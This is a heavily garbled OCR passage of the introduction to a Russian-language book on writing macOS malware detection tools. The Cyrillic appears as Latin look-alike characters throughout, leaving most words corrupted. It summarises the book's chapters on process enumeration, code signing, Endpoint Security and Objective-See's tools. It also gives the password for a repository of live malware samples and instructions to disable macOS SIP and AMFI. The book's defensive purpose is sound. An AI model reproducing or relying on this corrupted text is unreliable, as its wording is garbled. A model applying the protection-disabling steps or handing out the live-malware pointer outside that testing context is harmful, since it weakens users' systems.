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BBeneHue

K coxaneHuto, Mbl XXMBEM B 30f10TY0 3NOXYy BpeJOHOCHbLIX nporpamm Ana Mac. lNMpoaaxu koMmnbioTepos
Mac npogosmkatoT pacTu rog 3a rogom, ' ' a otTpacneBble OT4ETbI NpeackasbiBaoT, 4To Mac cTaHeT
OOMUHMpPYLoLLE NnaTgopMor B KOpNopaTUBHbLIX cpeax. 2 no Mepe Toro kak gons Apple Ha MMpoBoM
pbIHKE KOMIMbIOTEPOB YBENNYMBAETCH, KOMMboTEPbl Mac cTaHOBATCA Bce Gonee npuBnekaTenbHONM LEenbo
01151 XakepoB-OMMnopTYHUCTOB M aBTOPOB BPEOOHOCHbIX NporpaMmm. HekoTopble nccnegoBaHus gaxe
obHapyXuBanu, 4To B cpedHeM Ha cuctemax Mac yrpos n BpegoHOCHbIX nporpamm 6ornblue, YeM Ha
cncremax Windows. !

Korga peyb nget o 3awmute KomnboTepoB Mac 1 nx nonb3oBaTtenewn, aHann3 BpeAOHOCHbLIX NPorpamMm -
Tema kHurn The Art of Mac Malware, Volume 1 - 310 nuwb nonoBuHa aena. [pyras, BO3MOXHO Aaxe
Oonee BaXkHas YacTb, COCTOUT B TOM, 4TOObI Npexae Bcero 0bHapyXuntb BpeAoHOCHbIN kKog. CyluecTByeT
MHOXXECTBO MOAXOA0B K OBHapyXeHW0 BPEAOHOCHOIO KOAA, U Yy KaXX4oro ecTb CBOM NpenMyLLecTsa u
HeJocTaTku. Ha ogHOM KOHUe cnekTpa obHapyXeHUss Mbl MOXEM UCMONb30BaTh 6a3bl AaHHbIX CUrHATYp
BPEOOHOCHBIX Nporpamm. CkaHvpys ABOUYHbIE ddansibl HA HanNu4Me NocneaoBaTeNibHOCTEN BPEAOHOCHbIX
6anToB, Mbl MOXXeM 3(EKTUBHO BbIABMNSATL U3BECTHbIE Yrpo3bl. OQHAKO NpK 3TOM Mbl HE OBHapyxMBaem
HOBble BPEAOHOCHbIE NMPOrpaMmbl UM UX BapuaHTbl. OTOT HEAOCTATOK cepbe3eH. YTobbl NOHSTL NoYemy,
paccMOTpUM Cryyan BpegOHOCHOW nporpaMmebl, n3sectHou kak FruitFly. TwatensHo cosgaHHasa ogHUM
NporpamMmMmncTOM 1 NPUMEHSBLUASICA B KpaliHe LierneHanpaBieHHON MaHepe, OHa ocTaBanach
HeoOHapyXeHHol Bbonee gecaTy neT, NOCKOMbKY HU OfHa aHTUBMPYCHas NporpaMMa He cogepkana
curHaTypbl 4ns ee BbiBreHusi. BpegoHocHast nporpamma crieguna 3a HM4Yero He No4o3peBaBLUMMU
XepTBaMu € NOMOLLbI0 MUKPOMOHOB U BED-kamep komnbioTepoB Mac, YTo NPUBENO K pa3pyLUMTENbHbIM
NOCNeACTBUSIM B pearnbHOM KU3HMW. 4]

Ha gpyrom koHue cnekTpa obHapyXeHust HAXOAATCA NOBEAEHYECKNE 3BPUCTUKM, COCPEAOTOUYEHHbIE Ha
OEeNnCcTBUSIX BPELOHOCHOM NpOorpaMmbl U ee BO3OEeNCTBUN Ha cucTtemy. YTobbl NOHATL 3TOT NoAxos,
BCMOMHUTE, Korga Bbl B nocnegHuin pas 6onenn. BoamoxHo, 6one3Hb Ha4anacb ¢ HAaCMOpKa, rofIoBHOM
6onu, 6onu B roprne nnu xmeoTte. XoTs Bbl, BEPOATHO, HE 3HaNM TOYHO, KAKOW NaToreH Bac 3apasur,
CYMMTOMbI OpraHn3ma nokasblBaru, YTO Bbl Y>K€ He HaxoauTecb B CBOEM OObIYHOM 340POBOM COCTOSIHUM.
Mogo6GHy CTpaTernio MOXHO UCMONb30BaThb ANst 0606LLEHHOrO 1 3BPUCTUYECKOrO OOHapYXXeHUs
LMAPOBLIX NATOrEeHOB: UCKaTb CUMMATOMbI U aHOManuu.

[axe HoBble 1 CKpbITHbIE 06pa3Lbl BPeAOHOCHbIX NporpaMm ByayT co3gaBaTth Habnogaemble cobbITuA
npu B3aMMOAEeNCTBMU C CUCTEMOMN. HeKOTopble U3 HWX, HanpUMep 3amnycK HOBOro 3akpenuBLIerocs B
cMcTeMe HenoAnucaHHOro npolecca, MoXeT ObITb Nerko 06HapyxuTb. [ipyrne, Takme Kak CKpblTHas
yCTaHOBKa TPOSHU3UPOBAHHON AUHAMUYECKON BUBNMOTEKM UNK CKPLITOro KaHana akcdunsTpauun, bonee
ToHKW. Ho B Mobom cnyyae, ecnv Mbl MOXXeM NPOrpaMMHO OBHapyxuBaTb Takoe nosefeHue, Mbl JOIKHbI
ObITb CNOCOOHbBI YCTAHOBUTb, 3apaXkeHa N cMcTema, a 3aTeM, onpeaenuB OTBETCTBEHHbIV NpoLece,
TOYHO yKa3aTb UCTOYHUK 3apaxKeHUs.

OTa KHMra nocBsiLeHa 3BPUCTUYECKMM MOAX0AaM, NMOCKOSbKY TOMBbKO OHWU MO3BOMSAIOT NPOTMBOCTONATh
CMOXHbIM 1 Npexae He BCTpevaBLUMMCS yrpo3aM, KOTopble BCe valle HauenveatoTcs Ha macOS. Mbl
6ynem nucaTtb ko, CNOCOGHLIN OGHapYXMBaTb aHOManuu, a 3aTeM TOYHO onpeaensaTb NporpamMmmMHoe
obecneyeHne, KOTOpoEe 3N1IOHAaMEPEHHO NPOHUKIO B cUcTeMY. o MyTu Mbl rnyboKko norpy3vmMcs B
onepaumoHHyto cuctemy macOS u 3aTpOHEM Takue TEMbI, Kak 3aKpbITble PpeMBOPKKN, obpaTHas
paspaboTka nponpueTapHbIX CUCTEMHbIX KOMMNOHEHTOB U MHOFO€e [pYroe.

PasymeeTcs, y 9BpMCTUYECKOrO NoAxoaa K 0GHapy>KeHUI0 eCTb 1 HegocTaTkn. XOTS OH AOSKEH NO3BONSATb
TOYHO yKa3aTb Nnobon BpeOHOCHLIN O6BEKT B CUCTEME, OH, CKOpee BCEro, He CMOXET onpeaenuTb
KOHKPETHOE CEMENCTBO BPegOHOCHOW nporpamMmbl. Hanpumep, oH AOmKeH 3aMeTuTb
HeCaHKLMOHUPOBAaHHbIV AOCTYN NporpaMMbl K MUKPOOHY nnv Beb-kamepe, HO He y3HaeT, sBnseTcs nu
OTBETCTBEHHbIN Npouecc BpeaoHocHou nporpammoi FruitFly. CyliecTBeHHbIV M 9To HegocTaTok? A Tak



He cuuTalo, MOCKOsbKY Bpe4oHOCHas MporpaMmMa, OTBETCTBEHHAs 3a 3apakeHue, B NIoGOM criyyae MoxeT
OblTb HEU3BECTHOW, a AN NOKPbITUSA N3BECTHbLIX GA30BbLIX CryYaeB BCeraa MOXXHO pasBepHYTb MEXaHU3m
obHapy>XeHNst Ha OCHOBEe CUrHaTyp.

Ewe ogHa TpygHOCTb COCTOMT B TOM, YTO 3BPUCTUYECKME OBHApY>XeHNsA MOryT AaBaTb NOXHbIe
cpabaTbiBaHus. Hanpumep, aBTopbl Bpe4OHOCHbLIX MPOrpamMmm YacTo UCMONb3YIOT YNaKOBLUMKA
ucnonHsemolx annos, 4Tobul 06¢pycunpoBaTbL CBOM BPEAOHOCHbIE TBOPEHUS, HO TO XXe caMoe MOryT
AenaTtb 1 paspaboTtynkm nerntumHoro MO. Mo3ToMy HU OAMH 3BPUCTUHECKUI MOAXO0A K OOHAPYXEHUIO He
OOIDKEH ONMPaTbCs Ha eANHCTBEHHYI0 9BPUCTUMKY MpU NOMbITKE KnaccudnumpoBaTb 06bEKT Kak
BPeAOHOCHBIN. BMecTo aToro obHapyxeHue Bcerga SOMKHO MCKaTb HECKONbKO aHOMarlbHbIX BapuaHToB
MOBEAEHMSA 1 UCMONb30BaTb NOAX0Ab!, CHUXKAIOLLME YMCIO NOXHBLIX cpabaTtbiBaHWI, HanpUMep cBeaeHns
0 Mognucu Kkoaa, npexae YeM NoMeTUTb 0ObEeKT Kak NOA03PUTENbHbIV UMW, BEPOSITHO, BPEAOHOCHbIW.
Ecnu y Bac ecTb Takasi BO3MOXHOCTb, MOXHO NpUBMeYb Yenoseka Ans NPpoBepKn BCEX NOMEYEHHbIX
06bEeKTOB.

Y10 Bbl HangeTe B 3TON KHUre

Mo cBoel cyTn 3Ta KHUra OnuUCbIBaET, Kak NMcaTb koA Ans 0GHapYXeHWs BpeAOHOCHbIX nporpamm macOS.
OHa pasgeneHa Ha Tpu YacTu.

Mopo6Ho ToMy Kak Bpay NPOBOAUT aHanm3bl 1 cCOGUpaeT AaHHble, YTOObI NOCTaBUTb AUArHoO3, Tak Xxe
OOMXKHbI AeCcTBOBaTb 1 cpedcTBa obHapyXeHnst BpeAOHOCHbIX nporpamm. B yactu |, « C6op gaHHbIX»,
Mbl 06Cyxdaem nporpamMmmHble MeToAbl COopa CHUMKOB AaHHbIX, HEOOXOAMMbIX ANs OOHapYXeHWs
CMMNTOMOB 3apaxeHus. Mbl HA4HEM € MPOCTOro: onuLeM MeToAbl NepeyncneHms n onpoca 3anyLeHHbIX
B CucTEeMe npoueccoB. B nocnegylowmx rnaBax Mol nepengem K 6onee CnoxHbiM KOHUENUMAM, TakuMm Kak
HenocpeaCTBEHHbIN pa3bop ABOUYHBIX halnnos, U3BneYeHVe 1 NpoBepKa CBe4EHUIN O MOANWUCK KOAa, a
Takke BbISIBNEHUE 3aKpenneHns B CUCTeEME Yepes B3aMMOAENCTBME C NPONpueTapHbIMU CUCTEMHBIMU
KOMMoHeHTamu. Tam, rae 3To yMecTHo, Mbl Byaem nokasblBaTb oparMeHTbl BPeAOHOCHbIX NporpamMm B
KayecTBe NpumepoB. [MaBbl 3TON YaCcTW TakoBbl:

MnaBea 1. UccnegoBaHue npoueccoB. MNockomnbKy 60MbLUNMHCTBO 06pa3sLOB BpeaoHOCHbLIX MporpaMm Ass
Mac BbINOMHAKTCSA Kak CaMOCTOATENbHbIE MPOLIECChI, U3YyYeHUe pasnMYHon MHopMaLMK U MeTagaHHbIX
0 Ka)kgoM 3anyLeHHOM MpoLecce - OTNNYHAasA OTNpaBHasa ToYKa NPU MOVUCKE 3apaKeHW.

MnaBsa 2. Pa36op aBon4HbIX ¢hannos. 3a noboiMm npoueccom B cucteme macOS CTOUT yHMBEPCarnbHbIN
OBOVYHbI dhann unu asoundHbin dpann Mach-O. B 3Ton rmaBe Mbl NoKkaXkem, kak pa3bupartb Takme
OBOUYHble doaiinbl, YTOObI BbIABMASTL aHOManumm.

Mnaea 3. Nognuck koaa. J1loboNn 3BpUCTMYECKUIA NMOAX0M, K OOHAPYXKEHMWIO MOABEPKEH NOXKHBLIM
cpabatbiBaHMAM. N3Bnekas un npoBepss CBeAeHMs 0 NOANUCU KOAA, Kak Mbl Aernaem B 3TOW rnaese, MOXHO
YMEHBLUUTb YMCIIO NTOXHbIX cpabaTtbiBaHWIA 1 OQHOBPEMEHHO MOBLICUTL 3EEKTUBHOCTL ft060ro
WHCTPYMeHTa oOHapy>XeHnsi Bpe4OHOCHLIX Mporpamm.

MnaBa 4. CocTosiHMe 1 cTaTUCTUKA ceTu. B aToli rmaBe onvcaHbl MeToAbl MPOrPamMMHOrO MOyYeHNs
CHVMMKOB CETEBOr0 COCTOSIHMS XOCTa U CETEBOW CTaTUCTUKWU. BONbLUMHCTBO BPEeAOHOCHbIX NPorpamMm ans
Mac obpallaeTcs K ceTu, U Takue CHUMKM OOMKHbI BbISBMNSATb 3TOT HECAHKLMOHMPOBaHHBIN CeTeBoi
JOCTyn.

MnaBa 5. 3akpenneHue B cucteme. BpegoHocHas nporpamma GyaeT 3akpennaTbesl, YTOObl NEPEXUTb
nepesarpysky cuctembl. 3akpenneHune Bbi3biBAET U3MEHEHUSI HA XOCTe, U 3Ta IMaBa nokasblBaeT, kKak
MMEHHO NPOrpaMMHO OBHAPYKMBATL Takue U3MEHeHMsI.



B 10 Bpewmsi kak YacTb | paccMaTpmBaeT MeToAbl NONYYEHUSA CHUMKOB [aHHbIX, YacTb |l, «MOHUTOpPUHI
CUCTeMbl», NocBALLEeHa HenpepbiBHbIM Noaxoaam K H36]‘IIO,EI,€HI/IIO 3a CUCTEMOM Ha npeamMeT CMMNTOMOB
3apaxeHusi. Hanpumep, Mbl 06cyanm pperimBopKkn 1 MHTEpPdENCHI NPUKITAaLHOIrO NPorpaMMmnpoBaHus
(API), koTOpble NO3BONAT OTCNEXMBATL CUCTEMHBIE XXYpPHarbl 1 CO30aBaTb MOLLHbLIE MOHUTOPLI (haliIios,
npoLleccoB un ceTu. 3Ta yacTb BKMo4YaeT cnepywume rmasbl:

Fnasa 6. MOHMTOPUHI XXypHanoB. CUCTEMHbIW, UMW YHUBEPCATbHbIW, XXYPHan COAePXNUT OrpOMHOE
KONMMYEeCTBO AaHHbIX, CMOCOOHbBIX packpbiTb BONMBLUMHCTBO 3apaxeHuin. Apple He npegocTaBnseT
ny6nunyHbix APl ona npvema NoTOKOBbLIX COOBLLIEHUI XXypHarna, NO3TOMY B 3TOW IfaBe paccMaTpuBaloTCs
3akpbITble perimBopku 1 API, KOTOpble MOXHO MCNONb30BaTh B COBCTBEHHbLIX MHCTPYMEHTAX.

FnaBa 7. MoHUTOpUHI ceTu. JTa rnasa nocesileHa gpperimeopky Apple NetworkExtension, APl koToporo
OaloT BO3MOXHOCTW AMsi CO34aHMS MOLLHBIX CPEACTB CETEBOTO0 MOHUTOPUWHIA, CMOCOBHbBIX OGHAPYXNTb
N0y BPEAOHOCHYI0 MPorpaMMy, UCMONb3YIOLLYHO CEeTb XOCTa.

Mnaea 8. Endpoint Security. Ecnu Bbl cozgaeTe kKoMNnekcHble MHCTPYMEHTbLI OOHapYKeHWs
BpeAOHOCHbIX nporpammM B macOS, Bam cnegyeT Ucnonb3oBaTbh MOLLHbLIN hpermBopk Endpoint Security u
ero API. Ota rasa 3HakomuT ¢ Endpoint Security.

naea 9. MpurnyweHue n cobbITUA aBTOpM3auun. B aTon rmase paccmaTpusatoTcs bonee
npoaBuHyTble TeMbl Endpoint Security, Bkntovas cobbiTUsi aBTopU3aLum, NpuriyLweHme 1 gpyroe.

B 2015 roay s ocHoBan Objective-See, koTopas Tenepb SABNSIETCS HEKOMMEPYECKON opraHn3aumen,
co3patoLen 6ecnnaTHble UHCTPYMEHTbI 6€30MacHOCTU C OTKPbLITLIM UCXOAHBLIM kogoM Ans macOS. YacTb
lll, «Pa3paboTka MHCTPYMEHTOBY», MOrPY>KaeTCs B HECKOMNbKO CaMblX NOMYMSPHbIX MHCTPYMEHTOB
Objective-See. 3TN MHCTPYMEHTbLI CNOCOOHBLI 0606LLEHHO 0OHapYXMBaTb LUMPOKUIA CMEKTP BPELOHOCHbIX
nporpamMmm macOS 1 UCnonb3yT MHOMME NOAX0Abl, pacCMOTpeHHble B YacTax | u Il. Korga Bel nonmeTe nx
YCTPONCTBO M BHYTPEHHIO paboTy, Bbl ByaeTe yXe Aaneko Ha nyTu K co3gaHnio cobCTBEHHbIX CPEACTB
0BHapyXeHUs BpeAOHOCHbIX NporpaMM. Mbl 3aBEpLUMM KHUTY TEM, YTO MPOTUBOMNOCTABUM 3TU
WHCTPYMEHTbI LUIMPOKOMY Habopy CrOXHbIX BPeAOHOCHbIX Nporpamm anst macOS. [ns kaxgoro obpasua
Mbl 06CYyaNM BEKTOP 3apaXkeHusi, METOAbl 3aKPENnIEHNS N BO3MOXHOCTM, @ 3aTEM MOKAKEM, Kak
WHCTPYMEHTbI MOTYT BbISIBUTb 3T CUMNTOMBI. [aBbl 3TON YacTu TakoBbI:

naea 10. MNepeuncnurtennb 3akpenneHuaA. Kto Tam? BonblUMHCTBO BpeQOHOCHbLIX Nporpamm anst Mac
3akpennseTcs, YTobbl NepexuTb Nnepesarpy3kn CUCTEMbI, MO3TOMY MHCTPYMEHT, CMNOCOBOHLIN NepevncnmTb
BCe 3akpenusLueecs MO, 4omkeH BbISBUTL N0OYI0 NOCTOSIHHO YCTAaHOBMEHHYIO BPEOOHOCHYIO Nporpammy.
B aToi rmaee paccmatpmBaeTcs UMEHHO Takon MHCTpPYMeHT: KnockKnock.

Fnaea 11. MoHuTOp 3aKkpenneHusa. BOOXHOBMEHHbLIN CBOMM POACTBEHHBIM MHCTPYMeHTOM KnockKnock,
BlockBlock ncnonb3yet Endpoint Security ona o6HapyXeHus Bpe4OHOCHbIX MPOrpaMm nyTem
MOHUTOPWHIra cCobbITUI 3aKpenneHnsa B peanbHOM BPEMEHN.

Mnasa 12. MoHuTop MukpodoHa u Be6-kamepbl. HekoTopble 13 caMbix KOBapHbIX 06pasLoB
BPEAOHOCHBIX NporpamMm Ans Mac cnegsT 3a xepTBamu Yepes Beb-kamepy unv cryLatroTt ux Yepes
MUKpodhoH. ATa rnaea nocesiweHa OverSight, nHcTpyMeHTy, koTopbi cnonb3yeT API Core Audio n
mMeguna-API, a Takke noacMcTeMY XXypHaANMpoBaHUA Ans obHapyXeHnst [OCTyNa BPEAOHOCHbIX Nporpamm K
3TUM YCTPOMCTBaM.

Mnaea 13. MoHuTop DNS. BpenoHocHasi nporpamma, nbiTarowasacs NOAKMUYNTBCS K YAaneHHbIM
JOMeHaM - HanpuMep, 4N NoNyYeHns 3agaHnin Unm akcunbTpaummn AaHHbIX, - OyOeT reHepupoBaThb
DNS-Tpacpuk. B aton rnase nokasaHo, kak DNSMonitor ncnonesyet cpenmsopk Apple NetworkExtension
OJ11 MOHUTOpWHIa 1 6roknMpoBaHus N6oro HecaHkUMoHMpoBaHHoro DNS-Tpadmka Ha xocTte macOS.

naBa 14. MNpakTnyeckne nccnegoBaHus. OgHo geno - 3aaBnsATb 06 3PEKTUBHOCTU NHCTPYMEHTOB
6e30nacHOCTH, 1 COBCEM ApYroe - NoATBepXAaTb 3TO Ha NpakTuKe. B 3TON 3akntouMTENbHON rnaBe Mbl
NPOTUBOMOCTABUM HaLUM MHCTPYMEHTbLI 6€30NacHOCTM HECKOSbKUM OCOBEHHO CINOXHBLIM U CKPbITHLIM
obpasuamM BpeJoHOCHbIX MPorpamm, YTobbl YyBUAETH, HACKONbKO XOPOLLO OHW CNPaBmnsioTCs.



KoMy cTouT untaTb 3Ty KHUTY

Bbl nony4nTe OT 3TOM KHUIM MakCUMyM, €CM MOHMMAaeTe OCHOBbI knbepbesonacHocTu, 6asoBkle
cBedeHns 0 BpeQOHOCHbIX NporpaMmmax 1 nporpammmpoBaHne. OgHako 3To He obsi3aTenbHble
npeaBapuTenbHbIE YCIOBUS, U 9 00BSACHIO BCE BaXKHble KOHUenuun. Bam Takke GyaeT nonesHo npountatb
Moo apyryto khury, The Art of Mac Malware, Volume 1 (No Starch Press, 2022), koTopasi NO3HakOMMWT Bac
¢ byHAaMeHTanbHbIMU TeMaMu BPeOHOCHbIX nporpaMmm macOS, K KOTOPbIM Mbl 34eCh yXKe He byaem
BO3BpaLLaTbes. [MomMnumo aTux coobpaxkeHui, 1 nucan 3Ty KHUry, MMesi B BUAY KOHKPETHbIX YnTaTenen:

CTyAeHTI:I. Korpa s yqyunca Ha 6aKanaBp|/|aTe No KOMNbTEPHbLIM HayKaM, 4 XUBO MHTepecoBaricA
NOHMMaHNEM " 06Hapy>|<eH|/|eM KOMMbKTEPHbLIX BUPYCOB N O4YEHb XOTeJ1 UMETb TaKy KHUTY. Ecnu Bbl
nony4vyaeTte TeXHN4YEeCKyr CTeneHb U XOTUTE Y3HaTb Sonblue 0 nogxogax K 06Hapy>KeH|/|+o BPEOOHOCHbIX
nporpamm, BO3MOXHO, YTOObI pacwumpuTb Unn gonoJsIHNTb o6yquV|e, 9Ta KHUra an4d Bac.

AHanUTUKu BpeaoHOCHbIX nporpamm. Mosi kKapbepa aHannTnka BpeAOHOCHbIX MporpaMM Havyanach B
AreHTCTBE HaUMOHanbHoWm 6e30nacHOCTH, FAe S n3yyan Bpe4oHOCHbIE NPOrpaMMbl M KCMTONThI A11s
Windows, HaueneHHble Ha cuctembl BoopyXeHHbIX cun CLUA. TokMHyB areHTCTBO, S Havan usyyaTb
yrpo3bl Anst macOS, HO CTOMKHYICSA C HEXBATKOW PeCypCOB Mo 3TON Teme. JTa KHMra npu3saHa
BOCMONHNUTL 3TOT Npoben. Ecnu Bbl aHanuUTuK BpeaoHOCHLIX nporpamm ansg Windows nnm Linux, nnu
Jaxe aHanUTUK BpegoHOCHbIX nporpamMmm ans Mac, xenatwLwwmnin passuTb HaBbIKK, 3Ta KHUra 4OSMKHa AaTb
BaM npeacTaBrieHne o TOM, kak 0BHapyXmBaTb yrpo3bl, HaueneHHble Ha cuctembl macOS.

CucteMHble agMuHucTpaTopbl Mac. BpemeHa ogHopoaHon koprnopaTuBHou cpeapbl Ha 6ase Windows B
3HauuTenbHon cteneHu ywnu. CerogHs komnbloTepbl Mac B npeanpuaTusX cTanu obbl4HbIM AeNoM, YTO
MPUBENO K MOABNEHUIO CELMann3MpoBaHHbIX CUCTEMHbIX agMUHUCTpaTopoB Mac u, K coxaneHuto,
aBTOPOB BPEOOHOCHbIX MPOrpamMmm, OPUEHTUPOBAHHbBIX HA KOPNOPATMBHbLIE CUCTEMbI MO YrpaBleHNEM
macOS. Ecnu Bbl cuctemHbIn agmuHucTpaTtop Mac, kpaiiHe BaXKHO MOHUMAaTb, kak 0BHapyX1BaTb Yrpo3bl,
HaLeneHHble Ha CUCTeMbl, KOTOpble Bbl CTPEMUTECH 3alUMLLaTh. OTa KHUra NpusBaHa AaTb Takoe
MOHWMaHWE, N He TOJbKO ero.

PaspaboTumnku. o cBoen cyTn 3Ta KHUra NpeacTaBnseT Noaxonbl K HaNnMcaHU Koga, CnocobHoro
06006LeHHO 0OHapyXnBaTb BpeQoHOCHbIE NporpamMmmbl Ans Mac. Ecnu Bawa paboTta cBsidaHa ¢
HanMcaHneM MHCTPyMeHTOB B6e3onacHocTu ans macOS, ata kHura 6yaeTt Bam nonesHa.

Haxe ecnu Bbl HE MPOrpaMMUCT, KHUra O NPOrpaMMHOM OBHapY>KeHUN BPeJOHOCHbLIX NMporpamMm MOXeT
oKasaTbCs JOCTOMHON npoyTeHns. OBHapyXeHue BpedoHOCHbIX MPorpaMMm BKYaeT ropasfo bonblue,
4YeM NpPOCTO HanucaHue koaa. Mel yrnybumcs Bo BHyTpeHHee ycTponcTeo macOS, 3aTpoHeM TeMbl
obpaTHON pa3paboTku u 06cyamm pasnunyHble 06pas3ubl BpeAOHOCHbLIX MPOrpaMm, BKIoYast ux
BO3MOXHOCTU M (PYHKLNOHAINbHOCTb.

Koa v obpasubl BpeAOHOCHbLIX NporpamMmm

Bce npumepsbl Koga, o6pasLbl Bpe4OHOCHbIX MPOrpaMmM 1 MHCTPYMEHTLI, 06CyXaaemMble B 3TON KHUre,
JocTynHbl No agpecy https://github.com/objective-see. Penoautopuin TAOMM opraHuayeTt npumepsbl koga
no rnmaesam, a penosutopuin Malware cogepxut 3awmdpoBaHHbIN 06pa3sel, kaxaoro obpasua
BPEAOHOCHOM nporpammel. [ns pacumdpoBkn 06pasLoB ncnonb3ynte naponb infect3d.

MpepynpexpeHue. Kog B penosmtopum TAOMM npegocTaBneH rnaBHeIM o6pasom Ans
WINMOCTPaUMM U CTaBUT KPaTKOCTb BbILLE APYIMX acrleKTOB, TakMX Kak BceobbemnoLwas


https://github.com/objective-see

npoBepka owmnbok. MNoaTomy ero He criegyeT UCMOMNb30BaTb JOCMOBHO, HAaNpUMep B
pasBepHyThbIX NpoaykTax 6e3onacHocTu. Takke NMOMHUTE, YTO KOMMEKLMSA B peno3nTopum
Malware cogepxuT HacTosiLLMe BpegoHOCHbIe NMporpamMel. MNoxanyincra, He 3apasuTe cebs! A
€crnv 3apa3uTe, Nno KpamHen Mepe He BUHUTE MEHS.

KHura ctpemuTca npeactaBuTb anropuTtMbl U NOAXOAbI, HE NPUBA3aHHBbIE K KOHKPETHOMY SA3bIKY, HO
fonbluasi YacTb NPUBELAEHHOrO 34eCk Kofda HanvcaHa Ha Objective-C. A pewmn He ncnonb3oBaTtb Swift,
OTNNYHBIN A3bIK ANS HANMcaHUs NpunoxeHnn Apple, NOToMy 4YTO OH co3gaeT ocobble TPYAHOCTU B
KOHTEKCTE MHCTPYMEHTOB Ge3onacHoCTW. Hanpumep, B KHUre 4acTo MCNOMb3YHTCS 3aKpbIThie
hbpeliMBOpKU, K KOTOPbIM nerko obpattaTtecs u3 Objective-C, Ho koTopble B Swift noTpebosanu Gl
OOMONHNTENbHBIX KOMMOHEHTOB, TakMX Kak bridging headers. AHanornyHo, B3aMmogencTesoBath C
penmBopkamMu, npegocTaBnsaoWmMMn nHtepdencsl n APl Ha C, Hanpumep ¢ KpaliHe BaxkHbiM Endpoint
Security, B Objective-C npocto. locTtyn Kk 3Tum nHtepdencam n3 Swift yacto npMBoauT K cBOAsLLEMY C
yMa KONMM4ecTBY NpUBEAEHNSI TUMOB M pacnakoBKW 3Ha4YeHun OpaquePointer n UnsafeMutablePointer.

A Hanncan Becb kog Ha MacOS 14 n npoTecTupoBan ero Ha HeaaBHUX Bepcusax macOS, skntovasa 13, 14
n 15. Tam, rge 310 yMeCTHO, A Byay obcyxaaTe NOAXOAbI K NPOrpaMMMPOBaHMIO, pasnyarLwmnecs Mexay
BeEpCUAMK, HAaNpuMep Korga ctapbin APl Obin 3ameHeH 6onee coBpeMeHHbIM aHanorom. Takoe
obcyxaeHne No3BonuT BaM NUcaTb MHCTPYMEHThI, COBMECTUMbIE C HECKONBKUMU BEPCUSIMM
onepauuoHHOWM CUCTEMBI, U FapaHTMPOBaTb, YTO Bbl MPOSOIKUTE NoadepxmBaTb bonee ctapble Bepcum.
YT0bbI Yy3HaBaTb O HOBbLIX NPUEMaXx, KOTOpble NOSABATCS Npy OyaAyLLMX OOHOBMEHNSIX ONepaLnuoHHON
cucTembl, obpawantecs k penosutopusam Objective-See Ha GitHub 3a akTyanbHbIMKU BEpCUsIMU MOUX
WHCTPYMEHTOB 6€30MacHOCTU C OTKPbITbIM MCXOAHbIM KOOOM, peanumayroLmx 00mbLUyto YacTb koaa,
ob6cyxaaemMoro B 3TON KHUre.

YTto6bl NOMOYb BaM CBA3bIBATbL MeXay cobo pa3po3HEHHbIE YacTy Gonee KpynHbIX Nporpamm,
npeacraendeMbiX Ha NPOTAXEHUN Ka)K,EI,OVI rnasbl, 4 NpOHymMepoBal JINCTUHIN KOo4a KHUrn
nocriefoBaTenbHbIMU HOMEpPaMu, TakKMMu Kak «JTMcTuHr 1-1», «Jinctunr 1-2» n tak ganee. O6pasubl
BPELOHOCHLIX NMpOrpamMm 1 npumepbl KOMaHOHOW CTPOKM He ByayT MMeTb HOMEPOB JIMCTUHIOB.

Cpepna pa3paboTku

Mpexae yeM HaunHaTb, 9 peKkoOMeHAY YCTaHOBUTb Xcode, MHTerpMpoBaHHyto cpefy paspabotkm Apple
(IDE) n cbakTnyeckmin cTaHgapTHBIA NPOAYKT AN1s CO34aHusa MHCTpyMeHToB 6e3onacHocty B macOS.
HoctynHbii 6ecnnatHo B oduumansHom Mac App Store, Xcode npegnaraeT ygobHyto nnatgopmy Ans
pa3paboTku nporpammHoro obecnedveHuns. A ncnonb3dosan Xcode Ang HaNMCaHUSA U KOMMOUASALNN BCEX
NPYMEpPOB KOAa U UHCTPYMEHTOB B 3TOW KHWre, MO3TOMY COBETYIO0 MMeTb Ha30BOe MOHNMaHWEe 3TOro
WHCTPYMeHTa. XOTS 3[4eCb A He MPMBOXY NOAPOOHOro pykoBOACTBA MO MCMNomnb3oBaHuio Xcode, B
WHTEPHEeTE JOCTYMNHO MHOXECTBO OTNMYHbLIX BecnnaTHbIX y4ebHbIX MaTepuarnos.

TpebGoBaHusA K nognucu Kopa

Kctatn o komnunsumm koga: ecnv Bel NpoboBanu 3aHMMaTbest pa3paboTkon NporpaMMHOro obecneyeHns
B macOS, Bbl, BEPOSATHO, CTaNKMBANUChb C TPYAHOCTAMM, CBA3aHHbIMU ¢ TpeboBaHuamu Apple k nognucu
Koda unum, 4to Xyxe, ¢ entitlements. Mo coobpaxeHnsim 6eszonacHocTn Apple npoBepsieT cBeaeHNS O
NnoAnucK Koga NporpamMmebl, NPeXae Yem pas3pewmnTb e 3anyck. [logpobHee Mbl obcyxgaem nognuck
Koaa B rnase 3.



K cuactbto, macOS no3ssonseT nognucbiBaTh koA cneumanbHeiM obpasoM, ad hoc, To eCTb BaM He HyXXHO
nnatuTb Apple 99 gonnapos 3a Developer ID, ecnu Bbl paspabaTtbiBaeTe MHCTPYMEHTLI 6e30nacHOCTH,
KoTopble ByayT 3anyckaTbcs nokanbHo. B Xcode B pasagene Signing and Capabilities yctaHoBute donaxok
Automatically Manage Signing n ybeautecs, yto gns Signing Certificate BeiOpaHo 3HayeHme Sign to Run
Locally.

Entitlements

MHCTpyMeHTaM, NCnonb3yoLwWwnm cucTemMHble pacumnpeHus unm Endpoint Security, ana pabotel TpebytoTcs
cneumanbHble entittements, Hanpumep com. apple.developer.endpoint-security.client. B yactu lll
Mbl pacCCMOTPUM, Kak nonyyuntb 3Tu entitiements y Apple ana cosgaHms pacnpocTpaHsieMbix
nHcTpymeHToB. OfHako onsa nonyyenus entitlements Tpebyetca nnatHas yyeTHasa 3anuck Developer ID.

[na nokanbHon pa3paboTku n TECTUPOBaAHUSA MOXHO 060onTK TpeboBaHus entitlements, oTkntoune System
Integrity Protection (SIP). 3l Apple npepocTtaBnsieT JOKYMEHTaUMIO O TOM, Kak oTknounTb SIP: ang aToro
HY>kHO 3arpy3uTb Mac B Recovery Mode 1 BbinonHMTb KoMaHay csrutil disable. [6]

Bawm Taroke npugetcs otkntountb Apple Mobile File Integrity (AMFI); uHaye 6uHapHble dannsl ¢
entitlements, koTopble He NONMHOCTBIO NOANUCAHbI M HOTapuanbHO 3aBepeHbl, He byayT 3anyckaTtbes. [Mpu
oTKnto4eHHoOM SIP mMoxHo oTknounte AMFI, BbINONHMB 13 TepMnHana cneayoLlyo KoMaHay ¢
npuBurernsamMm root:

